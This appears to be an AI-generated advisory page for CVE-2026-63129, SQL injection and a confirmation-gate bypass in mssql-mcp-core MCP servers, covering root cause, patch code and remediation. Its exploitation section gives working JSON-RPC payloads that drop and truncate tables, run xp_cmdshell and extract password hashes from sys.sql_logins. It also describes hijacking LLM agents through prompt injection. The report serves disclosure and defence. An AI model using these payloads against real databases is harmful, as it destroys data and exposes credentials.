CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-63129

CVE-2026-63129: SQL Injection and Pre-Confirmation Bypass in mssql-mcp-core and Downstream MSSQL MCP Servers

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 19, 2026·11 min read·2 visits

Executive Summary (TL;DR)

Unparameterized string interpolation across write, DDL, and read tools in mssql-mcp-core allows attackers to execute arbitrary T-SQL batches via MCP JSON-RPC calls, bypassing confirmation gates and potentially achieving remote command execution via xp_cmdshell.

CVE-2026-63129 is a high-severity SQL injection vulnerability (CWE-89) in the @connorbritain/mssql-mcp-core library and its downstream implementations (mssql-mcp-server, mssql-mcp-reader, and mssql-mcp-writer). The flaw results from the direct concatenation of unvalidated database identifiers, filter predicates, and enum parameters into T-SQL batches passed to the node-mssql Request.query() interface. Because pre-execution row count and preview queries execute before safety confirmation flags are checked, an attacker with access to invoke Model Context Protocol (MCP) tools can bypass confirmation controls and execute arbitrary stacked T-SQL statements.

Vulnerability Overview

The @connorbritain/mssql-mcp-core package provides shared tool implementations and core functionality for Model Context Protocol (MCP) servers interfacing with Microsoft SQL Server (MSSQL). Downstream packages including mssql-mcp-server, mssql-mcp-reader, and mssql-mcp-writer consume this core library to expose database manipulation and inspection capabilities to Large Language Model (LLM) agents and MCP clients over JSON-RPC.

Prior to version 0.6.0 of @connorbritain/mssql-mcp-core and mssql-mcp-server, and version 0.5.0 of mssql-mcp-reader and mssql-mcp-writer, multiple tools constructed T-SQL commands by directly interpolating caller-supplied arguments into raw query templates. While individual data fields in certain insertion and update operations were bound as parameters, structural elements—including table names, column names, schema names, index names, whereClause predicates, and stateFilter arguments—were concatenated directly into the SQL command string.

Under the hood, these tools execute queries using the node-mssql driver's Request.query() method. In MSSQL, Request.query() sends the input string as an unparsed T-SQL batch, which natively supports statement termination via semicolons (;) and inline comments (--, /* */). This architecture allows an attacker or compromised LLM agent via prompt injection to break out of the intended statement context and execute arbitrary stacked DDL, DML, or administrative stored procedures.

The vulnerability is classified under CWE-89 (SQL Injection) and carries a CVSS v3.1 base score of 8.8. In write-capable tools, the flaw is compounded by an architectural ordering issue where pre-flight row count and preview queries execute before safety confirmation flags (confirmUpdate or confirmDelete) are validated, rendering those safety mechanisms ineffective against injected payloads.

Root Cause Analysis

The root cause of CVE-2026-63129 consists of three interrelated implementation flaws across the write, DDL, transaction, and read toolsets in mssql-mcp-core.

First, write and DDL tools relied on raw JavaScript template literal interpolation for SQL identifiers and conditional predicates. In UpdateDataTool and DeleteDataTool, both the target tableName and the caller-supplied whereClause string were inserted directly into the query string without identifier quoting or lexical validation. Similarly, InsertDataTool extracted object keys from the user-provided data JSON object and joined them directly (firstRecordColumns.join(", ")) to form the column list of the INSERT INTO statement. ExecuteTransactionTool, CreateTableTool, and CreateIndexTool exhibited identical patterns when handling table names, column definitions, and update predicates.

Second, the safety confirmation workflow in UpdateDataTool and DeleteDataTool contained a control-flow flaw. Both tools were designed to require explicit confirmation (confirmUpdate: true or confirmDelete: true) and enforce a maximum affected row threshold (maxRows, defaulting to 1000) before mutating database state. However, to calculate how many rows would be affected and display a preview to the caller, the tools executed SELECT COUNT(*) as affectedRows FROM ${tableName} WHERE ${whereClause} and SELECT TOP 10 * FROM ${tableName} WHERE ${whereClause} immediately upon entry. Because the SQL injection payload resides inside tableName or whereClause, the stacked T-SQL commands execute during the initial SELECT COUNT(*) batch before the code reaches the if (!confirmDelete) or if (affectedRows > maxRows) guard statements.

Third, the read-only tier (ListDatabasesTool) relied on client-side schema definitions rather than server-side runtime validation. The tool defined stateFilter in its MCP inputSchema with an enum constraint (["ONLINE", "OFFLINE", "RESTORING", "RECOVERING", "SUSPECT", "ALL"]) and subsequently interpolated the value directly into AND d.state_desc = '${stateFilter}'. Because the MCP SDK and JSON-RPC transport layer treat inputSchema as advisory metadata for LLM tool discovery rather than enforcing schema validation at the server endpoint, any caller sending a crafted JSON-RPC request could supply arbitrary SQL expressions in stateFilter.

Code Analysis

Examination of the vulnerable code paths and the corresponding patch commits (227e2efc4e3311c477b7ae509c3ae15437a4f815 and a9727f83768598e4fdbddfbc717ccfebb84ae7af) illustrates the transition from string interpolation to strict identifier allowlisting and structured filter compilation.

In the unpatched version of DeleteDataTool.ts and UpdateDataTool.ts, the pre-flight count query and final DML statement interpolated tableName and whereClause directly:

// Vulnerable code prior to 0.6.0 in DeleteDataTool.ts
const countQuery = `SELECT COUNT(*) as affectedRows FROM ${tableName} WHERE ${whereClause}`;
const countResult = await countRequest.query(countQuery);
 
const previewQuery = `SELECT TOP 10 * FROM ${tableName} WHERE ${whereClause}`;
const previewResult = await previewRequest.query(previewQuery);
 
// Safety check occurs AFTER countQuery and previewQuery have already executed on the database
if (!confirmDelete) {
  return { requiresConfirmation: true, affectedRows, preview: previewResult.recordset };
}
 
const query = `DELETE FROM ${tableName} WHERE ${whereClause}`;

To remediate identifier injection across all tools, commit 227e2efc4e3311c477b7ae509c3ae15437a4f815 introduced src/security/sqlIdentifier.ts. This module enforces a strict regular expression allowlist (/^[A-Za-z0-9_@#$ ]+$/), restricts identifier length to the MSSQL sysname limit of 128 characters, rejects any input containing a closing bracket (]), and wraps each validated segment in T-SQL bracket delimiters ([identifier]):

// Patched identifier sanitizer in src/security/sqlIdentifier.ts
const MAX_IDENTIFIER_LENGTH = 128;
const IDENTIFIER_ALLOWED = /^[A-Za-z0-9_@#$ ]+$/;
 
export function quoteName(raw: unknown): string {
  if (typeof raw !== "string") throw new InvalidIdentifierError(raw, "must be a string");
  let name = raw.trim();
  // Strip outer brackets if caller provided them, then validate inner content
  if (name.length >= 2 && name.startsWith("[") && name.endsWith("]")) {
    name = name.slice(1, -1).replace(/]]/g, "]");
  }
  if (name.length === 0) throw new InvalidIdentifierError(raw, "must not be empty");
  if (name.length > MAX_IDENTIFIER_LENGTH) {
    throw new InvalidIdentifierError(raw, `exceeds ${MAX_IDENTIFIER_LENGTH} characters`);
  }
  if (!IDENTIFIER_ALLOWED.test(name)) {
    throw new InvalidIdentifierError(raw, "contains characters outside [A-Za-z0-9_@#$ and space]");
  }
  return `[${name.replace(/]/g, "]]")}]`;
}

To eliminate injection via free-form predicates, the patch removed whereClause entirely (returning WHERECLAUSE_REMOVED if supplied) and introduced src/security/whereFilter.ts. Callers must now supply an array of structured FilterCondition objects ({ column, operator, value }). Column names are passed through quoteName(), operators are checked against a hard-coded allowlist (=, <>, !=, <, <=, >, >=, LIKE, IN, IS NULL, IS NOT NULL), and all literal values are bound via request.input().

In commit a9727f83768598e4fdbddfbc717ccfebb84ae7af, ListDatabasesTool.ts was updated to enforce runtime validation of stateFilter against a constant tuple before constructing the query:

// Patched runtime validation in ListDatabasesTool.ts
const VALID_STATE_FILTERS = ["ONLINE", "OFFLINE", "RESTORING", "RECOVERING", "SUSPECT", "ALL"] as const;
 
if (!VALID_STATE_FILTERS.includes(stateFilter)) {
  return {
    success: false,
    message: `Invalid stateFilter '${stateFilter}'. Allowed values: ${VALID_STATE_FILTERS.join(", ")}.`,
    error: "INVALID_PARAMETER",
  };
}

> [!NOTE] > Fix Completeness Assessment: While identifier quoting and structured filters resolve the injection vectors in DML and query tools, CreateTableTool validates column data type specifications using assertSafeTypeSpec, which relies on a denylist pattern (/;|--|\/\*|\*\//). Although this prevents stacked queries and comment truncation, it still permits arbitrary non-delimited T-SQL tokens within column definitions (such as DEFAULT sub-expressions or computed column formulas). Implementing a strict allowlist of canonical T-SQL data types (INT, NVARCHAR(n), DATETIME2, etc.) would provide stronger defense-in-depth.

Exploitation

Exploitation requires the ability to send tool invocation requests to an affected MCP server instance. This can occur directly if the MCP server is exposed over an accessible transport (such as SSE or HTTP endpoints) or indirectly via prompt injection when an LLM agent connected to the MCP server processes untrusted external content.

Scenario 1: Pre-Confirmation Stacked Execution via delete_data

An attacker invokes the delete_data tool with confirmDelete set to false. Even though the operation is explicitly unconfirmed, the injected payload in whereClause executes immediately during the row count pre-check:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "delete_data",
    "arguments": {
      "tableName": "Orders",
      "whereClause": "1=1; DROP TABLE AuditLogs; EXEC xp_cmdshell 'whoami'; --",
      "confirmDelete": false
    }
  },
  "id": 1
}

When DeleteDataTool handles this request, it passes the following batch to countRequest.query():

SELECT COUNT(*) as affectedRows FROM Orders WHERE 1=1; DROP TABLE AuditLogs; EXEC xp_cmdshell 'whoami'; --

MSSQL executes the SELECT COUNT(*) statement, drops the AuditLogs table, and invokes xp_cmdshell prior to returning control to the Node.js application.

Scenario 2: Column Key Injection via insert_data

In InsertDataTool, the values of the data object are parameterized, but the JSON property keys are concatenated directly into the column list. An attacker can inject SQL syntax into a JSON key to break out of the column list context:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "insert_data",
    "arguments": {
      "tableName": "Customers",
      "data": {
        "id) VALUES (1); TRUNCATE TABLE CriticalSystemData; --": 123
      }
    }
  },
  "id": 2
}

This produces the batch INSERT INTO Customers (id) VALUES (1); TRUNCATE TABLE CriticalSystemData; --) VALUES (@value0), completing a dummy insert and executing the TRUNCATE TABLE statement while commenting out the trailing parameterized VALUES clause.

Scenario 3: Data Exfiltration in Read-Only Deployments via list_databases

In environments running mssql-mcp-reader or where write tools are disabled, an attacker can target list_databases by bypassing the advisory stateFilter enum:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "list_databases",
    "arguments": {
      "stateFilter": "ONLINE' UNION SELECT name, 1, 1, 1, 1, 1, 1, 1, CONVERT(varchar(max), password_hash, 1) FROM sys.sql_logins --"
    }
  },
  "id": 3
}

Because the results of list_databases are serialized and returned directly in the MCP tool response, the attacker receives the output of the UNION SELECT query, allowing extraction of password hashes from sys.sql_logins or sensitive data from arbitrary user tables.

Impact Assessment

The security impact of CVE-2026-63129 spans confidentiality, integrity, and availability of the underlying Microsoft SQL Server instance and potentially the database host operating system.

In deployments utilizing mssql-mcp-reader, the vulnerability elevates a restricted metadata listing operation (list_databases) into an arbitrary SQL execution primitive. Through UNION-based queries, an attacker can read any table or system view accessible to the database connection login. Furthermore, because Request.query() permits stacked queries even within ListDatabasesTool, an attacker is not restricted to SELECT statements; if the underlying SQL login possesses write or administrative privileges despite being configured in a "reader" MCP server, the attacker can still execute DML and DDL statements.

In deployments utilizing mssql-mcp-writer or mssql-mcp-server, the pre-confirmation execution flaw neutralizes application-layer human-in-the-loop (HITL) and row-limit (maxRows) guardrails. An LLM agent tricked via indirect prompt injection only needs to attempt a preview/dry-run call (confirmUpdate: false or confirmDelete: false) to trigger destructive side effects on the database.

If the MCP server connects to MSSQL using a highly privileged login (such as sa or a member of the sysadmin fixed server role), the attacker can re-enable and invoke xp_cmdshell (EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;), check file system contents, initiate outbound SMB connections for NTLM hash relay, or achieve full remote code execution in the context of the SQL Server Windows/Linux service account.

Remediation

Operators and developers using @connorbritain/mssql-mcp-core or any of the downstream server packages must upgrade to the patched releases immediately:

  • @connorbritain/mssql-mcp-core: Upgrade to version 0.6.0 or later.
  • mssql-mcp-server: Upgrade to version 0.6.0 or later.
  • mssql-mcp-reader: Upgrade to version 0.5.0 or later.
  • mssql-mcp-writer: Upgrade to version 0.5.0 or later.

> [!IMPORTANT] > Breaking API Change in Write Tools: Versions 0.6.0 (core/server) and 0.5.0 (writer) remove the whereClause string argument from update_data, delete_data, and execute_transaction. Any client or prompt template passing whereClause will fail with error code WHERECLAUSE_REMOVED. Update all integrations to use the structured filters array:

{
  "tableName": "Orders",
  "filters": [
    { "column": "status", "operator": "=", "value": "archived" },
    { "column": "created_at", "operator": "<", "value": "2026-01-01" }
  ],
  "confirmDelete": true
}

In addition to patching the MCP packages, database administrators should apply defense-in-depth hardening to the MSSQL database account used by the MCP server:

  1. Enforce Least Privilege at the Database Layer: Do not connect MCP servers using sa or sysadmin accounts. For read-only deployments (mssql-mcp-reader), bind the connection to a SQL login mapped strictly to the db_datareader role with explicit DENY rules on sensitive system catalogs and credentials.
  2. Restrict DDL Capabilities: Unless schema migration via MCP is an explicit operational requirement, revoke CREATE TABLE, ALTER, DROP, and db_ddladmin permissions from the MCP service account.
  3. Disable OS-Level Execution Procedures: Ensure xp_cmdshell, OLE Automation Procedures (sp_OACreate), and ad-hoc distributed queries (OPENROWSET / OPENDATASOURCE) are disabled at the SQL Server instance level.

Official Patches

GitHub / ConnorBritainOfficial GitHub Security Advisory GHSA-2m9m-6cr5-9x25
GitHub / ConnorBritainPull Request #1 containing the security fixes and regression tests
GitHub / ConnorBritainFix commit for write, DDL, and transaction tools
GitHub / ConnorBritainFix commit for ListDatabasesTool stateFilter

Fix Analysis (2)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

@connorbritain/mssql-mcp-coremssql-mcp-servermssql-mcp-readermssql-mcp-writer

Affected Versions Detail

Product
Affected Versions
Fixed Version
@connorbritain/mssql-mcp-core
ConnorBritain
< 0.6.00.6.0
mssql-mcp-server
ConnorBritain
< 0.6.00.6.0
mssql-mcp-reader
ConnorBritain
< 0.5.00.5.0
mssql-mcp-writer
ConnorBritain
< 0.5.00.5.0
AttributeDetail
Vulnerability TypeCWE-89: SQL Injection
CVSS v3.1 Score8.8 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Attack VectorNetwork (MCP JSON-RPC Tool Invocations)
Affected Component@connorbritain/mssql-mcp-core (< 0.6.0) & downstream servers
Security Control BypassPre-confirmation row count query executes before confirmUpdate/confirmDelete gates
ImpactArbitrary stacked T-SQL execution, data exfiltration/destruction, potential RCE via xp_cmdshell
Exploit StatusProof-of-Concept (Documented in repository test suites)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.006Command and Scripting Interpreter: Python / SQL / T-SQL
Execution
T1027Obfuscated/Argument Injection
Defense Evasion
CWE-89
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it fails to neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when sent to a downstream database component.

Vulnerability Timeline

Vulnerability reported by security researcher @m10x via GitHub Pull Request #1
2026-06-29
Fix commit 227e2efc4e3311c477b7ae509c3ae15437a4f815 authored for write, DDL, and transaction tools
2026-06-29
Fix commit a9727f83768598e4fdbddfbc717ccfebb84ae7af authored for ListDatabasesTool stateFilter
2026-06-29
GitHub Security Advisory GHSA-2m9m-6cr5-9x25 and CVE-2026-63129 officially published
2026-11-18
NVD analysis and CVSS v3.1 score (8.8 High) published
2026-11-18

References & Sources

  • [1]GitHub Security Advisory GHSA-2m9m-6cr5-9x25
  • [2]Official CVE.org Record for CVE-2026-63129
  • [3]National Vulnerability Database (NVD) - CVE-2026-63129
  • [4]CVEProject cvelistV5 Record - CVE-2026-63129.json
  • [5]GitHub Pull Request #1 - Fix SQL Injection Vulnerabilities
  • [6]Fix Commit 227e2efc4e3311c477b7ae509c3ae15437a4f815 (Write/DDL/Transaction Tools)
  • [7]Fix Commit a9727f83768598e4fdbddfbc717ccfebb84ae7af (ListDatabasesTool State Filter)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-73504
5.5

CVE-2026-73504: Plaintext Authentication Token Exposure in cassandra-jdbc-wrapper Debug Logs

CVE-2026-73504 (GHSA-jc42-994r-vvwp) is a credential exposure vulnerability in ING Bank's cassandra-jdbc-wrapper (com.ing.data:cassandra-jdbc-wrapper). Resulting from an incomplete remediation of AIKIDO-2024-10565, the log sanitization routines in DriverUtil redact the password property but fail to redact the token property. When DEBUG logging is enabled, connection properties and JDBC URLs containing DataStax Astra DB bearer tokens are written in plaintext to application logs, enabling local users or log aggregation readers to harvest active database credentials.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 3 hours ago•CVE-2026-76088
7.5

CVE-2026-76088: Unbounded Compressed Packet Descent Denial of Service in PGPainless

A denial-of-service vulnerability (CWE-400) exists in PGPainless versions prior to 1.7.8 and 2.0.x prior to 2.0.4 within the MessageInspector and InlineDetachImpl components. These components manually iterate over OpenPGP packet streams without enforcing the global 16-layer maximum nesting limit (MAX_LAYER_DEPTH). An unauthenticated remote attacker can supply a specially crafted OpenPGP message containing deeply nested PGPCompressedData packets to trigger unbounded recursive decompression, resulting in CPU starvation and Java Virtual Machine (JVM) heap exhaustion.

Amit Schendel
Amit Schendel
2 views•8 min read
•about 4 hours ago•CVE-2026-69138
6.5

CVE-2026-69138: Authorization Bypass Through User-Controlled Key and Missing Authorization in djangocms-versioning

An authorization bypass and broken object-level access control vulnerability exists in djangocms-versioning prior to version 2.6.1. The check_discard and check_edit_redirect condition pipelines on the Version model omitted the user_can_change permission predicate. Because the corresponding administrative views retrieve target versions directly by their URL primary key and depend entirely on these condition pipelines for object-level access control, authenticated staff users without per-object change permissions can permanently delete draft versions or spawn new draft versions from published content.

Alon Barad
Alon Barad
3 views•10 min read
•about 5 hours ago•CVE-2026-69131
4.3

CVE-2026-69131: Missing Authorization in django-filer Bulk Deletion Admin Action

A missing authorization vulnerability exists in django-filer versions prior to 3.5.0 when the optional per-folder permission system (FILER_ENABLE_PERMISSIONS) is enabled. The bulk delete admin action (delete_files_or_folders) verifies global Django model-level deletion permissions but fails to enforce object-level FolderPermission edit checks. Consequently, an authenticated staff user holding model-level delete rights can delete files, folders, and directory trees from folders where their access has been explicitly restricted to read-only via FolderPermission.

Alon Barad
Alon Barad
3 views•9 min read
•about 6 hours ago•CVE-2026-75506
6.6

CVE-2026-75506: Second-Order OS Command Injection in OliveTin shellAfterCompleted Hook

CVE-2026-75506 (GHSA-vc6p-m6vx-6cwq) is a second-order OS command injection vulnerability in OliveTin affecting versions 3000.0.0 prior to 3000.18.1. The post-execution hook mechanism, shellAfterCompleted, interpolates runtime execution outputs and username variables directly into a shell command string passed to sh -c without validation. When an action emits untrusted output containing shell metacharacters, those metacharacters break out of the intended syntax and execute arbitrary OS commands under the context of the OliveTin service process.

Alon Barad
Alon Barad
4 views•10 min read
•about 7 hours ago•CVE-2026-71481
7.5

CVE-2026-71481: Cryptographic Signature Verification Bypass in ALTCHA PHP Library

CVE-2026-71481 (GHSA-82w8-65qw-gch6) is a cryptographic signature verification bypass (CWE-347) in the altcha-org/altcha PHP library affecting versions 2.0.0 through 2.0.2. Due to a flawed conditional check in the verifySolution method, omitting the signature field from a submitted challenge payload causes the server to skip HMAC verification entirely, even when a server-side HMAC secret is configured. Unauthenticated remote attackers can exploit this flaw to self-issue low-difficulty Proof-of-Work challenges, solve them with trivial effort, and bypass CAPTCHA controls.

Alon Barad
Alon Barad
5 views•10 min read